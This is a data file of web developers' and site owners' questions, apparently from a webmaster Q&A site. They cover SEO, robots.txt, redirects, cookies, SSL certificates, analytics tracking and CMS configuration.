{"id":"67410","title":"How to get the size of a web page (its content)?","text":"How can you find what a particular web page is in size (i.e. MBs)? Before you could right click on a page and choose 'Show Page Info' and there it was. What about now? EDIT: Ideally a way to do it in Safari or Chrome."}
{"id":"53472","title":"HTML Improvements are not updating properly","text":"I use Webmaster Tools for my website and I have removed duplicate titles in my site. But it is not getting reflected in Webmaster Tools. Is there any reload to view the changes in HTML Improvements?"}
{"id":"65446","title":"Robots.txt destroyed my ranking?","text":"I had to do a massive URL change stuff (Categories and Products) on my e-commerce site while keeping 301 redirect of old URLs to new ones. I did change category URLs (appr: 800 URLs) to new and improved ones and went live with them; but for an automated (scripted) 301 redirect; I had to get done with new improved Products URLs as well. And to avoid any 404 issues with old category URLs; **I didn't want Google to crawl my site** until I was done and gone live with Products' new URLs; **I put a robots.txt block on my entire site!** thinking that I'll have enough time converting all products to new URLs and keeping Google away of the site. It was intended to be temporary block. When I put robots.txt back to Allow all URLs; things started appearing all wrong! All the site's ranking has gone down! I am confused; what to do now! * The robots.txt is now allowing all URLs; * 301 redirect for old URLs is in place and working. * Entire site has NEW URLs. * I have submitted new sitemaps And I want to gain the ranking all back to normal. I have submitted new sitemaps and Google's not friendly with them. 99.9% of URLs in sitemap are still saying \"URLs blocked by robots.txt\". What did I do wrong? And how's it gonna solve the best way?"}
{"id":"21133","title":"Session cookie being dropped when moving under the SSL","text":"## The short version: I've got a session cookie being set on a dev site but it's not being picked up when I move to the SSL (so the shopping cart empties when you go to the checkout). When it's set on the **www** site: # http:\/\/dev.domain.ext Name devSID Value 2e9f1b1f6ca718d0961d0257f3297c1a Host .domain.ext Path \/ Secure No Expires At End Of Session And on the **ssl** side: # https:\/\/dev.domain.ext Name devSID Value 6fe74ccc91b67bce46165d005bfd157e Host .domain.ext Path \/ Secure No Expires At End Of Session It looks like the session cookie created under **www** isn't being picked up under the **ssl** side (conversely it doesn't go the other way either, if it's created on the **ssl** side it's not picked up on the **www** side). Anyone got any bright ideas? * * * ## The long version (me working it through) I've got a dev site currently on a **dev** sub-domain; the session cookie being set is accessible across the whole domain using a **.domain.ext** type format and is created using a PHP object which loads the parameters from a config table in the database. The same object creates the cookie across all sub-domains so it's not creating duplicate cookies with different path values or anything like that. Name devSID Value [alpha-numeric hash value] Host .domain.ext Path \/ Secure No Expires At End Of Session On my local machine the sub-domains used are **www** and **ssl** so the host string reads as **.dev.local** and the cookie is happily read across the entire domain (using Apache's https-vhosts.conf to setup the domains on the server and the Windows hosts file to point them to 127.0.0.1)... and everything is peachy. However, when I upload it to an online dev server (with it's own config and vhosts settings) the cookie gets dropped when moving from the **www** to **ssl** sides of the site and I can't see any logical reason for it. This is what's going on in vhosts: <VirtualHost [IP ADDRESS]:80 > ServerName www.dev.domain.ext ServerAlias www.dev.domain.ext dev.domain.ext ... <\/VirtualHost> <VirtualHost [IP ADDRESS]:443 > [SSL ENGINE BIT] ServerName ssl.dev.domain.ext ServerAlias ssl.dev.domain.ext dev.domain.ext ... <\/VirtualHost> Technically the sub-domains (as defined by ServerName) are **www.dev** and **ssl.dev** however neither of those are actually registered with any DNS servers - the DNS servers just have the higher **dev** sub-domain registered; so I've added that into the ServerAlias list and entries have been made in my Windows hosts file so the unregistered sub-domains resolve on my machine. [IP ADDRESS] www.dev.domain.ext [IP ADDRESS] ssl.dev.domain.ext And the session cookie parameters: Name devSID Value [alpha-numeric hash value] Host .domain.ext Path \/ Secure No Expires At End Of Session So theoretically that cookie should be accessible across **all** sub-domains (even the live site actually since I've not limited it to the **dev** sub- domain) **but** whenever I move to the SSL side the cookie gets dropped."}
{"id":"24943","title":"Different Title\/Description for Google in different regions","text":"I have multilanguage website targeting by subdomain: * **http:\/\/en.site.com\/** - Displays only contents in English * **http:\/\/de.site.com\/** - Displays only contents in German * ... * **http:\/\/site.com\/** - Displays contents in all languages Title\/Description are also translated depending on subdomain. Main domain is in English. I would like to have different Title\/Description on main domain **http:\/\/site.com\/** for users from different region: * **http:\/\/google.co.uk\/** should display Title\/Description in English * **http:\/\/google.de\/** should display Title\/Description in German My question: For main domain **http:\/\/site.com\/** is it possible to return different Title\/Description for Google bot from different regions? Or there is only one Google bot and targeting is only completed by search engine, not crawler? Thank you!"}
{"id":"51046","title":"What is the impact on SEO for having a div that is removed by JavaScript","text":"What, if any, impact would there be for having a stripped down view of my content in a `<div>` that is quickly replaced by [a much richer view] via JavaScript? Would this be any different than how a `<noscript>` tag is handled?"}
{"id":"33943","title":"Google Analytics change stats of my page if I do some changes on it?","text":"the question is : Google Analytics change stats of my page if I do some changes on it ? I don't know how G.A works when we update manually a page (html) For example, if I add a new picture to my gallery, Stats will change or not ? Thanks."}
{"id":"6391","title":"At what visitor share do you stop supporting a given browser?","text":"I'm lead dev for a large website which has a higher than average percentage of IE6 users - about 4.4% of our audience. Our new version is going to make use of progressive enhancement - including transitions and effects as well as rounded corners, gradients, web fonts and other CSS techniques. Obviously there are cross-browser ways to achieve most of these things which require various amounts of work to implement. What I'm currently looking into - and what I'd like your experiences of - is how to decide at what point we draw the line between providing an enhanced experience vs just supporting the functionality. FYI, I believe that this question meets the six guidelines for great subjective questions as defined in the FAQ. I'm after answers detailing why and how, not too short, with constructive comments, experiences, facts and references. Thanks! Adam"}
{"id":"22729","title":"About phpmyadmin","text":"I am using phpmyadmin for my database purpose.Myisam is my database engine. I want to know about what is mean about:\"choose field to display\" in relationship page in phpmyadmin"}
{"id":"43534","title":"Is there a way to know if apache receives a request from a public IP not local to your country?","text":"I'm looking for ways to know if an apache server receives a request , from another country (e.g germany) considering its a fair request (no spam , or proxies). I want it either to appear this as a separate entry(using dns request) in apache logs? or some kind of alert . Can this be possible."}
{"id":"56905","title":"Why do CDNs charge so much for private SSL?","text":"I've been looking at various CDN services, and many of them seem to charge a pretty hefty fee compared to the free shared SSL offering. One in particular, CDN77, is offering private SSL for $700\/year. Why is the price so high? Isn't the only technical difference between a private\/public SSL the ability to use a custom domain name? From what I gather, the only difference would be having to send the key\/certificate to them yourself, which shouldn't cost nearly $700 a year. Do they just charge this price because they can?"}
{"id":"31810","title":"Transfer page from internal to external","text":"Currently I have a website with a list of audio products (essentially a search engine for audio deals). http:\/\/www.soundplaza.co.uk Once you go to the details page, you can then press the 'view deal' button to go to providers site e.g. = http:\/\/www.soundplaza.co.uk\/all- deals\/113\/bookshelf-speakers\/acoustic-energy-1 This jump between two sites is a bit harsh and I would like to show a transition page, to simply ease them into another site and not scare them off. Within this tradition page I will have a simple loading gif and some graphics showing that your transferring. **QUESTION:** What is the best way to send the details (link, product name etc) to this transfer page, to then wait 5 seconds, to then move on to the desired link... this can in **NO WAY** damage my SEO, if anything `rel=\"nofollow\"` would be great if possible. I have seen that you can submit form to the transition page, then you can use php sleep and then php header to transfer... however I am not sure if php header will transfer SEO value to the provider?"}
{"id":"2214","title":"Should we get an EV Certificate?","text":"Our regular SSL provider is offering EV certificates for under $US200, and it just so happens that the certificate for our B2B e-commerce site is expiring in a month (which should give us enough time to get validated). $200 is still pretty reasonable (even if it's 5x the price of a \"normal\" certificate). Should we do it \"Just because\"? Are there any downsides to using an EV? The marketing guys like it because it turns the browser-bar green in IE and it just happens to fit the colour scheme of our site perfectly ;) We're not a bank, but we do deal in private, legal details (such as wills, transfers of business, terminations, etc)."}
{"id":"2219","title":"What EXACTLY does Compatibility View do in IE8?","text":"I have an ordered list where the text is displaying on the next line from the number in IE 8 (but not other browsers). If I switch on _Compatibility View_ it looks correct. While I think I'll be able to debug this particular issue and fix it, does anyone know of a fairly complete description of what the Compatibility View does, so that next time I can maybe speed up resolution? TIA"}
{"id":"43538","title":"Wordpress Multisite- How to restrict a non-wordpress page only to one domain","text":"I am running three blogs from a wordpress multisite. Currently, I am developing a separate, non wordpress application. I want to link this application with blog1. I put the application in the subfoler of my root directory (The Wordpress multisite is installed in the root). I linked the application in the menu of blog1. So far so good. But, it is possible to access the application from all the three blogs. I want the application to be accessible only from blog1-domain\/my-app\/ but when I tried blog2-domain\/my-app, it just opened normally. Generally, the application is accessible from all the three domains followed by \/my-app. I don't think it is proper to go this way. Then, what can I do to restrict my app to be accessible only from a my blog1-domain\/my-app ? Or am I not using a good blog structure?. I am open to all kind of suggestions. Thank you for your help."}
{"id":"6132","title":"what is the simplest online payment gateway? other than paypal","text":"Or maybe paypal is the most useful of them all.?? to be integrated in asp.net c#"}
{"id":"43023","title":"Why Can I See 301'd URL in Google Index","text":"I have a domain, www.timeclockmtsonline that I have 301'd to www.timeclockmts- online.com using the following PHP: <?php header( \"HTTP\/1.1 301 Moved Permanently\" ); header( \"Location: http:\/\/www.timeclockmts-online.com\" ); ?> However, when I do a google search on with www.timeclockmtsonline.com as the search term I can see a listing for that domain. I thought I'd see nothing. Now I am worried about being hit with a duplicate content penalty."}
{"id":"43026","title":"Changing MySQL password in WHM","text":"When resetting an account password in WHM, I get a checkbox with this option: \"`Sync MySQL password with account password`.\" If an account has multiple MySQL databases, what password is it going to change? I did a test on a WordPress site and noticed that the MySQL password did not change, so I'm curious as to what this setting does."}
{"id":"51356","title":"Forum posting VS signature","text":"Signature VS forum profile section line as backlink VS answering a question and giving a related post URL as the answer is better? Will a signature be better or forum posting and helping with an answer and a link be better. Does Google algorithms consider both as spam\/blackhat?"}
{"id":"57634","title":"Google Analytics e-commerce tracking - unique order id's","text":"I sell an online piano course. It's a single product that uses a single thank- you URL. On this thank-you page I want to track a transaction of 69 euro, quantity 1. The transaction ID and order ID need to be the samen and unique. How can I edit this code to make these ID's unique instead of '1' which I hardcoded now? <script type=\"text\/javascript\"> pageTracker._addTrans( \"1\", \/\/ required \"\", \"69\", \"\", \"\", \"\", \"\", \"\" ); pageTracker._addItem( \"1\", \/\/ required \"\", \"Piano voor Beginners\", \"Cursussen\", \"69\", \/\/ required \"1\" \/\/required ); pageTracker._trackTrans(); <\/script>"}
{"id":"17518","title":"How to de-index pages from google using robots.txt","text":"I added the no-index tag for the google-bot, but it is kind of taking a long time to de-index some pages since I have over 100k pages I need to de-index lol :))) What is the proper way to de-index pages using robots.txt? Thanks! Any idea how long should it take?"}
{"id":"12853","title":"How to transfer a Blogspot blog to a new domain?","text":"I have a blogspot blog, I have purchased a new domain and I want to transfer my old blogspot blog to my new domain. Is it possible? If yes then let me know the procedure."}
{"id":"13468","title":"Images randomly not showing up","text":"I just uploaded a website for a client which looked good while previewing locally. When I visit it on the server though some images aren't loading properly. It seems to be quite random, and sometimes they all load like they should. Sometimes images pop up after a sec or so. This problem occurs in Firefox, Safari doesn't have any problems. All the image links are correct. What am I doing wrong? This is the website: http:\/\/alturl.com\/ky9o6 and this page seems to have the most problems: http:\/\/alturl.com\/37czx"}
{"id":"25096","title":"How to avoid getting spam through a website?","text":"We seem to be getting A LOT of email spam, we have a combination of the email addresses as `mailto` links and contact forms that send to the same address. What measures can we put in place that will eliminate the majority of spam? **We need to keep a visible email address and contact form so there's no way to just remove those.**"}
{"id":"4516","title":"Should I use gzip for compressing my HTML?","text":"I saw from an online tester that my HTML can be compressed about 90%! Is it good practice to use gzip or not? I see that lot sites don't use it. For me it would improve traffic, as some pages contain a lot of data (120 KB of HTML without the images) which can be compressed to a few kilobytes."}
{"id":"4515","title":"H1 vs H2 vs Other for website title\/logo and SEO","text":"It is a common practice for front-end developers to put the website title or logo in H1 tag and the title in H2. But most of the time the title of the page\/article is more important because it carries the content value. So my question is what is the best approach from semantic and SEO viewpoint. Examples: * logo - H1, title - H1 * logo - H1, title - H2 * logo - H2, title - H1 * logo - other tag, title - H1 Provided other variants if you think they will have bigger effect."}
{"id":"11649","title":"How to change Bugzilla change privacy notice?","text":"How can I change the privacy notice in both the site and email messages? My instance is not public facing. I don't like this: > PRIVACY NOTICE: Bugzilla is an open bug tracking system. Activity on most > bugs, including email addresses, will be visible to the public. We recommend > using a secondary account or free web email service (such as Gmail, Yahoo, > Hotmail, or similar) to avoid receiving spam at your primary email address."}
{"id":"11648","title":"PrestaShop install SQL error","text":"I am trying to install PrestaShop 1.4.0.17, and reach Step 3. I enter database information, which tests okay, and I choose the second option: Full mode: includes 100+ additional modules and demo products (FREE too!). I choose Next, and receive the error: Error while inserting data in the database: ‘CREATE TABLE `shop_county_zip_code` ( `id_county` INT NOT NULL , `from_zip_code` INT NOT NULL , `to_zip_code` INT NOT NULL , PRIMARY KEY ( `id_county` , `from_zip_code` , `to_zip_code` ) ) ENGINE=’ You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \\’\\’ at line 6(Error: : 1064) This happens if I use either MyISAM, or InnoDB. Why is this happening? This also happens if I drop all database tables, and try again in simple mode. Is there a manual installation method?"}
{"id":"9420","title":"Some Punycode URLs redirect to Unicode but others don't, why?","text":"I've setup two subdomains, each using punycode: http:\/\/xn--xxa.hawx.me\/ -> http:\/\/μ.hawx.me\/ http:\/\/xn--l6h.hawx.me\/ -> http:\/\/♪.hawx.me\/ If you visit the unicode versions, ♪.hawx.me will stay the same in the browser bar but μ.hawx.me will redirect to the punycode version. Why does this happen and is it possible to force it to stay as the μ version when visited?"}
{"id":"11644","title":"Whois and server host information privacy","text":"I have a domain that is privately registered, so if you run a whois, you will just the domain registrars name. And below are two questions: 1. Since i am using private registration, is there a way somebody can find out i own it? 2. Will the nameserver information still show even if its privately registered?"}
{"id":"9426","title":"Liquid Layout out of Proportion","text":"I am using a liquid layout on my website, but when I view in in my browser I find that when I change the browser window size, the images are stretched out of proportion. Can anybody help?"}
{"id":"17775","title":"Why is there such a huge discrepancy between my Google Analytics and Webtrends stats for PDF downloads","text":"I was charged with getting the number of times a specific PDF has been clicked on our site for the past two years. GA registered something like 30 downloads, which at first I found impossible to believe but it is an obscure academic report so I said OK. Person connected to the report couldn't believe it, she said that she has seen sites where this PDF had 8,000 or so downloads over same period. Well Webtrends for our site showed that over 16,000 downloads to that one URL during that same period and 8,000 unique visits. Now I know that server log statistics are practically useless and that when a user clicks on a PDF, the log file can register a bunch of requests to the server but still, this discrepancy is astounding. Even after I filtered out 206 HTTP status codes and as many bots as I could, I still had about 8,000 downloads with about 6,000 visits. We do use tracking codes, but I am using unique page views for this in GA. Tracking codes actually bring up even fewer downloads. Am I right in concluding that a tracking code won't track a PDF linked directly from a search engine, either Google or any other - because obviously our tracking code isn't on any of their pages. Much of our content comes from Google searches. I cannot find keywords or phrases that would reasonably correspond to this PDF in analytics for search terms either. So now I have no idea what to tell this woman. I tend to trust GA WRT pdf downloads. I also find it hard to believe there were only 30 downloads in two years - even an obscure academic PDF. I need to figure this out. Any suggestions? Any advice is much, much, appreciated."}
{"id":"17772","title":"recommend strategy to implement this design","text":"I'm trying to build a website (html only) for a design studio and I am trying to figure out what is the best way to go about it. Layour of a webpage is like this: * A page is divided into two spaces (think of it as a vertical column like this: `L | R` where L = left side and R = right side) * `R` page will have images for menu options. For simplicity, let's say we have \"Home\" and \"Contact Us\" * `L` page behaves like a state machine. For e.g., when user clicks on `Contact Us`: `L` is updated with contact us contents and clicking on `Home` updates the content with home contents I'm trying to figure out what would be a good way to deal with this kind of a situation. Please let me know if you need me to be clear or provide more details. Thanks"}
{"id":"46791","title":"Limit Joomla user login sessions","text":"I am testing a Joomla installation for making a commercial website where you pay for accessing content. I just found out that it is possible to login from two different computers at the same time into Joomla and start browsing the restricted areas. Is it somehow possible to restrict a login to only one user session?"}
{"id":"5285","title":"Should I block search engines with robots.txt on my Facebook app?","text":"There's a few subdomains on my homepage where I tak advantage of robots.txt to block search engines for indexing their contents, like my images and downloads subdomains as I don't want the direct URLs for this content to be indexed. I do it like this: User-agent: * Disallow: \/ Now I have a new subdomain 'facebook' which I'll be using to host apps developed for Facebook. My question is, should I use the code above to also block this subdomain? The app itself shouldn't be accessed and used through the direct URL (but it still works I believe, didn't test it though), it should be used through the canvas URL, which is something like `apps.facebook.com\/app_name`. I don't mind search engines to index this URL, it's the right one to index. But I don't think it makes sense for them to index something like 'facebook.mydomain.com\/apps\/app_name'. Should I block search engines with robots.txt for Facebook applications or should I ignore it? Any good reason for allowing search engines to crawl it?"}
{"id":"62939","title":"Can I use Google Data Highlighter and Schema.org on same page?","text":"Let's say I have an existing page, and I want to use Google Data Highlighter. Later on I got access to its back end. Can I put Schema.org code directly to that same page?"}
{"id":"5286","title":"Does having video on a website increase the quality of traffic coming to the site?","text":"I was wondering if anyone had any actual statistics on this. I was curious if having a video on a website makes an exceptional difference to the quality of traffic coming to the site."}
{"id":"60670","title":"Mailclients checking Links inside mail","text":"We have developed a feature that creates **reservations**. The client **receives an email** containing a link which is clickable **only once**. Some of those reservations **fail** and I can't figure out why. I think that some mail clients (incl. webbased) check the links inside a mail **before** exposing the mail to the reader. Maybe due to malware scanning, tracking, status code checks,.. **Question:** Do you know any mail client which behaves like that? Bonus question: Do those clients stop when the url is defined in `robots.txt` ? Edit: I'm currently checking `access.log` for those links and try to find different access to the reservation links. Hour log files are HUGE and this takes like forever on several servers.."}
{"id":"57010","title":"How can I describe villages with schema.org?","text":"I know there is city but I was unable to find any village. How can I describe villages?"}
{"id":"20662","title":"Meta keywords single words or phrase?","text":"It is acceptable or recommended to only use 1 keyword per delimiter? Or can we use a phrase? For example: car, Audi, Ferrari, Lamborgini **vs** Audi Car, Ferrari Car, Lamborgini Car What is considered best practice?"}
{"id":"20661","title":"CMS text encoding and common browser decoding; recent change?","text":"I'm managing a CMS-based website. The primary language of the CMS is English. Our content is mostly in English, but user postings are sometimes in other languages. The supporting mySQL database of my site is set to UTF-8 encoding. Until recently, \"other language\" (e.g. Russian) postings displayed correctly. This in spite of the fact that the CMS declares in the header of each generated page: <meta http-equiv='Content-Type' content='text\/html; charset=iso-8859-1' \/> My best guess is that in the past, browsers commonly took this header declaration as advice, and also looked at content to determine the actual encoding. If, for example, UTF-8 encoding was detected, the heading declaration was overridden. That's how \"other language\" text was correctly displayed. It helps that iso-8859-encoded text will be correctly interpreted by a UTF-8 decoder, that is, iso-8859-1 is effectively a subset of UTF-8. Question 1: iso-8859-1 is effectively a subset of UTF-8, right? As far as I know, nothing about the site, the CMS installation, or the server has changed recently. But, of course, browser tech is constantly evolving and new browser releases arrive all the time. In the past few weeks, \"other language\" content is showing up as garbage (mojibake) in the latest versions of Safari (5.1) Chrome (15.0.874.81), and Firefox (7.0.1), at least. All indications are that the \"auto\" text encoding mode of each is now determining the site pages are iso-8859-1 encoded, end-of- story. When I manually set the browser to use UTF-8, the garbage disappears, and all text is correctly rendered, as before. Question 2: Has the standard\/practice changed, so that recent browser releases obey the header declaration of text encoding and won't override it no matter what encoding is actually present? Question 3: If not, what other factors could account for the sudden appearance of garbage where there was none before? (For example, could a subtle change to Apache made by the hosting provider have this effect?) I have no idea why the CMS primary distribution is iso-8859-1 encoded. I've looked at the CMS docs and submitted several queries to support channels, but … no answer. The CMS is definitely capable of supporting other languages; many \"official\" alternates are available, and so far as I've checked, they all declare \"utf-8\" in the headers of generated pages There may be some 8859-1 encoding-dependent code deep in the CMS, I suppose. (No, I'm not going to try to find it!) But the existence of a large number of alternative language packs would seem to argue against that. Question 4: (bonus!) If there is no encoding-dependent code in the CMS, what kind of technical reasons might make the CMS developers reluctant to move their primary distribution to UTF-8? Question 5: Am I totally missing some point? Am I totally or partially confused about how text encoding works?"}
{"id":"14780","title":"AdSense related website design \/ Ad Blending","text":"I'm reading websites like websitepublisher and seen sites like environmentalchemistry. They all have those adsense in them, but the ads seem like perfectly blended. I want to earn money from a content website, which i want to describe things about human relationships. I prefer to buy templates from ThemeForest and build a website around it. Would i make a better profit, if the ads are blended like in the first 2 websites or would i be better off with a banner that is placed like in this modern design? * What are the benefits of these blended ads? * Would users \"leave\" the webpage because it looks outdated\/oldshool? Thank you"}
{"id":"20664","title":"Domain forwarding to a IE \"trusted site\" opens a blank page","text":"My employer, a University, regularly hosts conferences and other events. While websites for these sites are hosted on our domain, they frequently request customized .com urls. We then forward these domains to the specific site. Recently, we discovered a problem, where a page will not load if the following conditions are met(using a current example): * website is created on our CMS for a conference `http:\/\/continue.weber.edu\/nulc` * a domain is created http:\/\/www.nulc2012.com and forwarded to http:\/\/continue.weber.edu\/nulc * The user enters www.nulc2012.com into their address bar using IE7 or IE8 * The user has `*.weber.edu` listed as a \"trusted site\" in IE security settings (the case for nearly all on-campus computers) When this happens, their browser will correctly transfer to the page `http:\/\/continue.weber.edu\/nulc\/index.php`, however the page is blank, returning only: <!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\"> <HTML><HEAD> <META content=\"text\/html; charset=windows-1252\" http-equiv=Content-Type><\/HEAD> <BODY><\/BODY><\/HTML> Is there any know solution to this problem? Or am I missing something completely? _Note: Tested websites do load correctly in Chrome, Firefox, and Safari_"}
{"id":"21397","title":"Google Free Views and Crawling","text":"We plan on giving our users 5 free article views before prompting them to buy a subscription. (for logged in or anonymous users). This will be a cookie-based security (we are all aware of the drawbacks!). Now, considering Google crawling our site. Can we tell in code \"always show the full article if the agent is the \"Google Crawler\" or that would be cloaking? Since we give \"5\" free views, would that be OK?"}
{"id":"42958","title":"Will duplicate international (i18n) content hinder SEO rankings?","text":"Google clearly states that duplicate content within a single, or multiple, domains is not advised. This is understood, but I am not sure of any exceptions for sites with region-specific content that is often replicated across locales. For example, a site's `\/en-us\/about` page could be identical to `\/en- uk\/about`, whereas most likely `\/en-ja\/about` is unique. Are GYM smart enough to understand that the initial URL depth is a locale specifier? Is there any _robots.txt_ or header, etc, trickery that I should include to outline the site's international structure?"}
{"id":"42779","title":"Empty Cookie based on IP address","text":"Is there a way to empty a previous cookie based on source ip? I need this to be done because of loadbalancing issues. regards Geert"}
{"id":"20445","title":"Case-specific mod rewrite on WordPress subdomain multisite","text":"I have split a WordPress blog into multiple category-specific blogs using subdomains, as the topics in the original blog were too broad to be lumped together effectively. Posts were exported from the parent `www` blog and imported into the subject- specific subdomain blogs. I believe _.htaccess_ provides mod rewrite for all subdomains (including the original `www`) in a single _.htaccess_ file. I use _.htaccess_ to perform 301 redirect on post categories to the relevant post on the subdomain's blog e.g.: RedirectMatch 301 ^\/auto\/(.*)$ http:\/\/auto.example.com\/$1 The problem I have is that the category has been retained in the permalink structure in the subdomain blog, so that `www.example.com\/auto\/mercedes` is now `auto.example.com\/auto\/mercedes`. The 1st URL is redirect to the 2nd, but unfortunately, the 2nd URL is redirected to `auto.example.com\/mercedes` using the same rewrite rule, which is not found, as the permalink on the subdomain's blog retains the parent category of auto. The solution would be to adjust the permalink structure in the subdomain's WP settings, so that the top level category does not duplicate the subdomain. My question would be: how do I then strip a section of the original (`www`) blog's post URL from the subdomain's URL when redirecting? e.g.: how do I redirect `www.example.com\/auto\/mercedes` to `auto.example.com\/mercedes`? I'm assuming this would be a regular expression trick, which I am not great at. **Update** : I might have to use: RewriteCond %{HTTP_HOST} !auto.example.com$ In the default WordPress if loop in _.htaccess_ , and seperate my custom subdomain redirections into a second if loop section."}
{"id":"27495","title":"Why google doesn't index youtube videos in sitemap?","text":"I've created a sitemap for youtube hosted videos in my website. you can find it here. http:\/\/www.informaincasa.it\/wp-content\/uploads\/sitemap-video.xml I've also created a sitemap for videos hosted on blip.tv The first sitemap while webmasters tool says it has no error isn't indexed. The second one is. Do you know why this happens and what should I do?"}
{"id":"20442","title":"Magento 1.5.1.0 Multi-Store","text":"I am currently running version 1.5.1.0 of Magento and I would like to set up another store with the following: 1. Both stores using different domains 2. Shared shopping cart\/checkout 3. Shared codebase I don't have ssh access. I have looked around and found a number of tutorials but they are for older versions or else require shell access. Could someone point me in the direction of a tutorial specifically for 1.5.1.0 or provide instructions for completing this?"}
{"id":"27496","title":"Cache a resource across HTTP and HTTPS","text":"Is there a way to specify that a resource should be cached when accessed over both HTTP and HTTPS? We have lots of static content that is initially served over HTTP and then re-served over SSL when the user tries to sign up or login, and it would be nice to cache that."}
{"id":"26679","title":"Why does Google think that pages load slow?","text":"Looking into Google Webmaster Tools in the Site Performance section I see that > On average, pages in your site take 5.0 seconds to load. Specifically it takes about 5 second to load during last month. However when I personally look pages on my site it rarery takes longer than 1 second to load a page. How can I discover the reason why Google thinks that pages load slow? Does Google provide any useful info for that? Should I look into web-server logs, etc.? Should I tweak something in robots.txt to prevent indexing some pages or to change crawl speed?"}
{"id":"57529","title":"Why don't we see websites hashing passwords before sending them?","text":"(Note about the question title: by \"we\" I mean myself) Everytime I log on to any website, I have this thought that website asking me for my password and sending it back to the server is just basic security engineering. Why do all the websites send my plaintext password (at most over SSL) instead of hashing it with some javascript code first?"}
{"id":"9289","title":"phpbb and filesystem storage","text":"Can I save the images file on filesystem (no db) in phpbb?"}
{"id":"63093","title":"Is this a good WordPress robots.txt configuration?","text":"I am about to launch a new WordPress site and below is what I came up with for my _robots.txt_ file. Should I combine some of these directives with a wildcard or should I include them both ways? I know that some search engines don't read wildcards. sitemap: http:\/\/www.example.com\/sitemap.xml User-agent: * Disallow: *\/comments\/ Disallow: *\/feed\/ Disallow: *\/trackback\/ Disallow: *?replytocom Disallow: \/*.css$ Disallow: \/*.inc$ Disallow: \/*.js$ Disallow: \/*.php$ Disallow: \/*\/*.inc$ Disallow: \/*\/*.js$ Disallow: \/*\/*?s=* Disallow: \/*\/cgi-bin\/* Disallow: \/*\/feed\/ Disallow: \/*\/feed\/* Disallow: \/*\/trackback\/ Disallow: \/*\/trackback\/* Disallow: \/*\/wp-* Disallow: \/*\/xmlrpc.php Disallow: \/*? disallow: \/*?* Disallow: \/archives\/ Disallow: \/author Disallow: \/cgi-bin\/ Disallow: \/comments\/ Disallow: \/comments\/feed\/ Disallow: \/feed\/ Disallow: \/index.php Disallow: \/login\/ Disallow: \/wp-* Disallow: \/wp-admin\/ Disallow: \/wp-content\/ Disallow: \/wp-content\/cache\/ Disallow: \/wp-content\/plugins\/ Disallow: \/wp-content\/themes\/ Disallow: \/wp-includes\/ Disallow: \/wp-rss.php Disallow: \/wp-rss2.php Disallow: \/xmlrpc.php Disallow: ?wptheme= Disallow: \/readme.html Disallow: \/license.txt Allow: \/wp-content\/uploads User-agent: Mediapartners-Google* Disallow: Allow: \/ User-agent: Googlebot-Image Disallow: Allow: \/wp-content\/uploads\/ User-agent: Adsbot-Google Disallow: Allow: \/ User-agent: Googlebot-Mobile Disallow: Allow: \/ User-agent: duggmirror Disallow: \/ User-agent: ia_archiver Disallow: \/"}
{"id":"7308","title":"Making headers readable on a multi colored background","text":"So the client wants a multi-colored background (think 4 colors of paint splats randomly all over the page. Because of this the headers are a bit hard to read. I've currently got them set up as black text with some white drop shadow, but it's still pretty hard to read in IE. How can I make the headers legible regardless of what is behind them (it's a CMS so position on the page is liable to change regularly)?"}
{"id":"11911","title":"Royalty free, Open Source Data","text":"Does anyone know of a site that lists various open source data feeds or data stores? By this I do not mean OS database applications like MySQL or Postgre, but royalty free sources of DATA. For example, IMDB.com allows you to download their data for free, but it is proprietary and cannot be used for commercial purposes for less than $10k. It would be nice if there was a royalty free version of that somewhere. However I'm looking for any source of data in any industry--entertainment, auto, tech, etc."}
{"id":"33420","title":"Search Result Organization","text":"I'm creating an AJAX live search on a website I'm working on. Users will select values from a few dropdowns and a list of products will be returned based on what they select. Some possible fields would be: color, model, make, etc. What type of organization of search results do users tend to find most useful? Is it better to lump them all together (alphabatized) or is it more useful to lump them together by make? In the past I've tended to group them by \"make\" but I'm not concerned that this will continually force some items with a make toward the end of the alphabet always to the bottom of the list. Any tips are greatly appreciated."}
{"id":"11918","title":"Please suggest Alternative to Microsoft HMC, an Automated Hosting Managment Solution for all Microsoft Products?","text":"I am not really sure whether this is the right forum to put up this. But here it goes. I am a Hosting Controller and Automated Hosting Management solution provider for Microsoft Products and Services (Exchange, SharePoint, CRM, Unified Messaging etc). Currently I am using Microsoft HMC 4.0 as my main Hosting Solution along with some other solutions for Automated hosting management of Websites, 3rd Party Mail Service Providers, DNS Service Providers and Scripted Solution (Perl, Python, Cold-fusion support). Microsoft will end support for HMC soon enough and i am not really ready to upgrade to MCCS due to various issues discussed in the very same article. I need an All-In-One Hosting Automation and Management solution for Microsoft Services that must essentially support the following services: 1. **Long term business Support** (HMC 4.5 is the last version of this solution. Microsoft will support HMC 3.5 through July 12, 2011, and will support HMC 4.x through December 12, 2011.) 2. **Product Support for Latest Features** (Exchange 2010, Sharepoint 2010, CRM 2011, OCS 2010 (Lync 2010), Blackberry 4 and 5) 3. **All-IN-One Support for all Products and Services** (Spending on individual solutions is wastage of money for me) 4. **Legacy Microsoft Support** (Exchange 2007, CRM 4.0, Sharepoint WSS 3.0) 5. **Self Service sort of Control Panel** (For Clients and Resellers) 6. **Automatic Billing System** (Must be part of the complete solution) 7. **Migration of Exchange 2007 Existing Customers to Exchange 2010**. The bullets from 1 to 7 are my business's stringent requirements. Paying for multiple solutions is costly both in terms of management and support as well as licensing. I have been using a separate billing system solution that is not tightly integrated with HMC and i have to face issues from time to time due to it. I need to have a tightly integrated billing system with my hosting management solution. I need to provide my clients with a proper central control panel\/dashboard\/portal from where clients, resellers and myself can manage each product's provisioning and associated services, manage subscriptions and billing. I need long term support for the solution. I also have a strong requirement of upgrading (migrating) some of my existing users\/organizations\/mailboxes etc of Exchange 2007 to Exchange 2010. Please suggest an All-In-One Automated Hosting management solution that meets the above requirements at the moment. I have been looking a couple of hosting panels that support Microsoft products and meet most of the above requirements. But i cant just go for any one of any without seeking help from the community."}
{"id":"18428","title":"Adding description for words on your website","text":"I am creating a website with a lot of programming language, and words that are related to programming and application development. Now I like the idea to have a tooltip on certain words, let's say a word like php. When someone rolls over the word a small popup appears with a small text explaining what it is. Stackoverflow uses the same when you roll over a tag. Is here an API that I can use to get the info on certain words, or should I create it myself."}
